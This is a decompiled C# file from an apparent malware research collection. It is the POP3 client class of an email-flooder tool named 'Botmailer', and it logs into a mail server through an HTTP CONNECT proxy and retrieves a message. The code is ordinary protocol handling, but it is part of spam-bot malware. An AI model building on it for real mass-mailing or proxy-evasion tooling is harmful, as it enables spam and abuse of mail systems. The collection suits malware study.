MalwareSourceCode/MSIL/Email-Flooder/Win32/B/Email-Flooder.Win32.BotMailer-f647edd898ebc2e8aa4b3983ed667932e2084b937bd11403e995db4e208227b9/POP.cs

// Decompiled with JetBrains decompiler
// Type: WindowsApplication17.POP
// Assembly: Botmailer Lite Speed, Version=1.0.1384.33852, Culture=neutral, PublicKeyToken=null
// MVID: 88833486-5004-4FA6-992A-B27BD1BCD279
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Email-Flooder.Win32.BotMailer-f647edd898ebc2e8aa4b3983ed667932e2084b937bd11403e995db4e208227b9.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Net.Sockets;
using System.Text;

namespace WindowsApplication17
{
  public class POP
  {
    private string _proxy;
    private string _proxyport;
    private string _server;
    private int _port;
    private string _Username;
    private string _Password;
    private NetworkStream ns;
    private TcpClient client;

    public POP(string server, int port)
    {
      this._port = 110;
      this.client = new TcpClient();
      this._server = server;
      this._port = port;
    }

    public POP(
      string server,
      int port,
      string username,
      string password,
      string PROXY,
      string Proxyport)
    {
      this._port = 110;
      this.client = new TcpClient();
      this._proxy = PROXY;
      this._proxyport = Proxyport;
      this._Username = username;
      this._Password = password;
      this._server = server;
      this._port = port;
    }

    public string proxyport
    {
      get => this._proxyport;
      set => this._proxyport = value;
    }

    public string proxy
    {
      get => this._proxy;
      set => this._proxy = value;
    }

    public string POPServer
    {
      get => this._server;
      set => this._server = value;
    }

    public string username
    {
      get => this._Username;
      set => this._Username = value;
    }

    public string password
    {
      get => this._Password;
      set => this._Password = value;
    }

    public int Port
    {
      get => this._port;
      set => this._port = value;
    }

    public object Open()
    {
      string[] strArray = this._proxy.ToString().Split(':');
      string str1 = strArray[0] + ", " + strArray[1];
      TcpClient tcpClient = new TcpClient();
      tcpClient.Connect(strArray[0], IntegerType.FromString(strArray[1]));
      NetworkStream stream = tcpClient.GetStream();
      byte[] bytes1 = Encoding.ASCII.GetBytes("CONNECT " + this._server + ":" + StringType.FromInteger(this._port) + " HTTP/1.1" + "\r\n" + "Host: " + this._server + ":" + StringType.FromInteger(this._port) + "\r\n" + "\r\n");
      stream.Write(bytes1, 0, bytes1.Length);
      byte[] numArray = new byte[checked (tcpClient.ReceiveBufferSize + 1)];
      stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
      Console.WriteLine("POP Return 1:" + Encoding.ASCII.GetString(numArray));
      byte[] bytes2 = Encoding.ASCII.GetBytes("USER " + this._Username + "\r\n");
      stream.Write(bytes2, 0, bytes2.Length);
      stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
      string str2 = Encoding.ASCII.GetString(numArray);
      if (StringType.StrCmp(str2.Substring(0, 3), "+OK", false) == 0)
      {
        Console.WriteLine("Pop Return 2:" + str2);
        byte[] bytes3 = Encoding.ASCII.GetBytes("PASS " + this._Password + "\r\n");
        stream.Write(bytes3, 0, bytes3.Length);
        stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
        string str3 = Encoding.ASCII.GetString(numArray);
        Console.WriteLine("Pop3 Returndata 3:" + str3);
        if (StringType.StrCmp(str3.Substring(0, 3), "+OK", false) == 0)
        {
          byte[] bytes4 = Encoding.ASCII.GetBytes("STAT\r\n");
          stream.Write(bytes4, 0, bytes4.Length);
          stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
          Console.WriteLine("Pop3 Returndata 4:" + Encoding.ASCII.GetString(numArray));
          byte[] bytes5 = Encoding.ASCII.GetBytes("RETR 1\r\n");
          stream.Write(bytes5, 0, bytes5.Length);
          stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
          Console.WriteLine("Pop3 Returndata 5:" + Encoding.ASCII.GetString(numArray));
          byte[] bytes6 = Encoding.ASCII.GetBytes("QUIT\r\n");
          stream.Write(bytes6, 0, bytes6.Length);
          stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
          Console.WriteLine("Pop3 Returndata 6:" + Encoding.ASCII.GetString(numArray));
        }
        else
        {
          int num = (int) Interaction.MsgBox((object) "Username/Password Error");
        }
      }
      else
      {
        int num1 = (int) Interaction.MsgBox((object) "Error connecting to POP");
      }
      object obj;
      return obj;
    }
  }
}